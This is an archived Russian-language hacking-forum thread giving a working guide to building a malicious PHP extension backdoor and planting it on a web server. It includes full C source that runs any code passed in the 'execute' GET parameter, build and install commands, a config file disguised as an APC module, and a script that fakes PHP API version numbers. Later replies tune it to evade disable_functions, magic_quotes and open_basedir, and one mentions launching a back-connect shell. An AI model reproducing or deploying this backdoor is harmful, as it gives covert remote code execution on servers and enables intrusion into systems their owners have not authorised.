RDot

RDot (https://rdot.org/forum/index.php)
-   Целевые системы/Target systems (https://rdot.org/forum/forumdisplay.php?f=22)
-   -   Бэкдор PHP (extension bask.so) Win/Linux (https://rdot.org/forum/showthread.php?t=3268)

b3 26.09.2014 20:47

Бэкдор PHP (extension bask.so) Win/Linux
 
Установка бэкдур модуля back.so (Устанавливаем там где собирали)
5 копеект от меня в рерайт статьи от VY_CMa
Оригинал (+ Видео): http://stackoff.ru/pishem-rasshirenie-bekdor-dlya-php/
Исходники: https://github.com/akamajoris/php-extension-backdoor

Данный метод имеет свои плюсы и минусы:
1) Требует наличия пакета php-dev, либо его установку. (минус)
2) Быстро, без лишних телодвижений. (плюс)

1) Качаем сорцы модуля.
Код:

cd /tmp && git clone https://github.com/akamajoris/php-extension-backdoor.git
2) Проверяем есть ли dev пакет в системе, если нет ставим.
Код:

dpkg -l | grep php5-dev
3) Собираем
Код:

phpize && ./configure && make
Этого должно хватить, но возможно придется указать самому доп параметры сборки если допустим PHP был собран из сорцев и лежит не по стандарту.
Код:

whereis php-config5
CFLAGS=-m32 CPPFLAGS=-m32 CCASFLAGS=-m32 ./configure --with-php-config=/usr/bin/php-config5

Собраный модуль будет лежать в modules/
Код:

root@cluster1:/tmp/php-extension-backdoor/lin# la modules/
итого 36K
drwxr-xr-x 2 root root 4,0K Сен 26 21:41 .
drwxr-xr-x 7 root root 4,0K Сен 26 21:42 ..
-rw-r--r-- 1 root root  923 Сен 26 21:41 back.la
-rwxr-xr-x 1 root root  24K Сен 26 21:41 back.so

Теперь его нужно подключить в php.ini, смотрим вывод phpinfo() и собираем нужную информацию:
Код:

PHP API        20100412
PHP Extension        20100525
Zend Extension        220100525
extension_dir        /usr/lib/php5/20100525+lfs
Loaded Configuration File        /etc/php5/fpm/php.ini
Scan this dir for additional .ini files        /etc/php5/fpm/conf.d

4) Закидываем модуль в папку расширений:
Код:

cp /tmp/php-extension-backdoor/lin/modules/back.so /usr/lib/php5/20100525+lfs
5) Подключаем расширение через additional .ini files /etc/php5/fpm/conf.d
Код:

root@cluster1:/etc/php5/fpm/conf.d# cat 10-back.ini
; configuration for php apc module
; priority=20
extension=back.so

Перезапускаем php или apache2 в зависимости от системы.
Если php как модуль apache2 то нужно перезапускать сам apache2:
Код:

service apache2 restart
если php-fpm то рестартим сам php-fpm
Код:

service php5-fpm restart
Проверяем:
Код:

root@cluster1:/tmp/php-extension-backdoor/lin# wget -O- 'http://localhost/?execute=system('id');' | head -n1
--2014-09-26 22:08:08--  http://localhost/?execute=system(id);
Распознаётся localhost (localhost)... 127.0.0.1
Подключение к localhost (localhost)|127.0.0.1|:80... соединение установлено.
HTTP-запрос отправлен. Ожидание ответа... 200 OK
Длина: нет данных [text/html]
Сохранение в каталог: ««STDOUT»».

[<=>] 0 --.-K/s  uid=33(www-data) gid=33(www-data) groups=33(www-data)

Все работает, данный метод хорош тем что не требует в код скриптов никакого вмешательства. Так же работает в обход safe_mode

Вариант второй:

Теперь рассмотрим вариант посложнее, но в то же время по мобильнее, когда сборку будем делать у себя а на сервер закидывать только модуль:
Нам понадобяться номера API из вывода phpinfo() на сервере:
Код:

PHP API        20100412
PHP Extension        20100525
Zend Extension        220100525

И замена наших API в dev файлах на серверные, для того что бы сервер не ругался что модуль не правильный.
Код:

/usr/include/php5/main/php.h
29:#define PHP_API_VERSION 20100412
/usr/include/php5/Zend/zend_extensions.h
31:#define ZEND_EXTENSION_API_NO        220100525
/usr/include/php5/Zend/zend_modules.h
36:#define ZEND_MODULE_API_NO 20100525

Для этого я набросал маленький скриптик:

Код:

#!/bin/sh

NEW_API_VERSION=20100412
echo "Set NEW_API=$NEW_API"

OLD_PHP_API_VERSION=`grep PHP_API_VERSION /usr/include/php5/main/php.h | awk '{print $3}'`
OLD_ZEND_EXTENSION_API_NO=`cat /usr/include/php5/Zend/zend_extensions.h | grep ZEND_EXTENSION_API_NO | head -n1 | awk '{print $3}'`
OLD_ZEND_MODULE_API_NO=`cat /usr/include/php5/Zend/zend_modules.h | grep ZEND_MODULE_API_NO | head -n1 | awk '{print $3}'`

echo OLD_PHP_API_VERSION=$OLD_PHP_API_VERSION;
echo OLD_ZEND_EXTENSION_API_NO=$OLD_ZEND_EXTENSION_API_NO;
echo OLD_ZEND_MODULE_API_NO=$OLD_ZEND_MODULE_API_NO;

sed -i "s/$OLD_PHP_API_VERSION/$NEW_API/g" /usr/include/php5/main/php.h
sed -i "s/$OLD_ZEND_EXTENSION_API_NO/$NEW_API/g" /usr/include/php5/Zend/zend_extensions.h
sed -i "s/$OLD_ZEND_MODULE_API_NO/$NEW_API/g" /usr/include/php5/Zend/zend_modules.h

echo '[+] Replace done, check new Value:';

grep 'PHP_API_VERSION' /usr/include/php5/main/php.h | head -n1
grep 'ZEND_EXTENSION_API_NO' /usr/include/php5/Zend/zend_extensions.h | head -n1
grep 'ZEND_MODULE_API_NO' /usr/include/php5/Zend/zend_modules.h | head -n1

Ну а дальше собираем и закидываем на сервер из прошлого примера.

Прикреплю исходники самого самого расширения на всякий случай:
backdoor.c
Код:

#include "php.h"
PHP_RINIT_FUNCTION(hideme);
zend_module_entry hideme_ext_module_entry = {
    STANDARD_MODULE_HEADER,
    "simple backdoor",
    NULL,
    NULL,
    NULL,
    PHP_RINIT(hideme),
        NULL,
        NULL,
    "1.0",
    STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(hideme_ext);

PHP_RINIT_FUNCTION(hideme)
{

        char* method = "_GET"; // суперглобальный массив, из которого берем пераметр и значение
        char* secret_string = "execute"; // параметр в котором будет evil-код
        zval** arr;
        char* code;

        if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {
                HashTable* ht = Z_ARRVAL_P(*arr);
                zval** val;
                if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // поиск нужного параметра в хеш-таблице
                        code =  Z_STRVAL_PP(val); // значение параметра
                        zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); // выполнение кода
                }
        }
        return SUCCESS;
}

config.m4
Код:

PHP_ARG_ENABLE(back, 0,0)
PHP_NEW_EXTENSION(back, backdoor.c, $ext_shared)


ewi 06.07.2015 14:37

safe mode может и обходит, а disable_functions - нет, в случае system('id') - не работает

Чтобы учитывать этот случай, в backdoor.c нужно заменить строку:
Код:

zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); // выполнение кода
-->
Код:

system(code); // выполнение кода
Тогда выполнение будет выглядеть вот так:
Цитата:

http://localhost/?execute=id
Только возникает проблема, что вывод уходит не знаю куда, но не в буфер веб-вывода, потому приходится выкручиваться таким способом:
Цитата:

http://localhost/?execute=id>/path/to/home/www/images/back_result.txt
может подскажет кто, как перенаправить вывод?

SynQ 06.07.2015 15:51

popen как вариант

ewi 06.07.2015 16:03

В моём случае popen тоже disable
Я думаю, даже если доступ к шеллу потеряется, достаточно будет запомнить путь до веб-папки, тогда способ с выводом в файл будет норм.

CyberSurgeon 07.07.2015 02:42

А не в (char *)"" TSRMLS_CC нужно-ли вывод от system() посылать?

SynQ 07.07.2015 12:07

Цитата:

Сообщение от ewi (Сообщение 38812)
В моём случае popen тоже disable
Я думаю, даже если доступ к шеллу потеряется, достаточно будет запомнить путь до веб-папки, тогда способ с выводом в файл будет норм.

popen() в моем посте - это не функция php, а функция С на замену system().
Вывод возвращать через RETVAL() или что там у пхп было.

PS Кстати, у b3 в исходнике backdoor.c бага. val необязательно может быть строкой :)
Цитата:

code = Z_STRVAL_PP(val); // значение параметра

Ravenous 01.06.2017 00:09

Цитата:

code = Z_STRVAL_PP(val); // значение параметра
zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); // выполнение кода
При magic_quotes_gpc = On выходит 500 Internal Server Error
передаю echo "1";
система linux
PHP Version 5.3.3
Apache 2.0 Handler

Как исправить? при выключенных magic quotes все хорошо

crlf 01.06.2017 23:23

Код совсем не выполняется или проблема только с кавычками? Если второе, то можно завернуть в base64:

PHP код:

@eval(base64_decode(ZWNobyAiMSI7)); 

Или использовать без кавычек:

PHP код:

echo @$_GET[one]; 


Ravenous 02.06.2017 15:42

когда посылаешь код с кавычками в переменную которую парсишь в бэкдоре

1.
Цитата:

char* method = "_GET"; // суперглобальный массив, из которого берем пераметр и значение
char* secret_string = "execute"; // параметр в котором будет evil-код
тогда выдает 500 Internal Server Error
Удалось обойти с помощью execute=assert(stripslashesh($_POST[ex]));

2. Данный бекдор не обходит также Open_Basedir
Может можно как-нибудь в коде расширения отключить директиву open_basedir? В главном /etc/php.ini она не определена, но зато в каждом виртуальном хосте в конфиге апача определена php_admin_value open_basedir ...

kfor 21.08.2017 16:59

Цитата:

Сообщение от Ravenous (Сообщение 42852)
когда посылаешь код с кавычками в переменную которую парсишь в бэкдоре

1.

тогда выдает 500 Internal Server Error
Удалось обойти с помощью execute=assert(stripslashesh($_POST[ex]));

2. Данный бекдор не обходит также Open_Basedir
Может можно как-нибудь в коде расширения отключить директиву open_basedir? В главном /etc/php.ini она не определена, но зато в каждом виртуальном хосте в конфиге апача определена php_admin_value open_basedir ...

Не хочеться влезать, но какой смысл в этом? Выполнение команд нужно только чтобы запустить бекконет :)


Часовой пояс GMT +3, время: 02:42.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot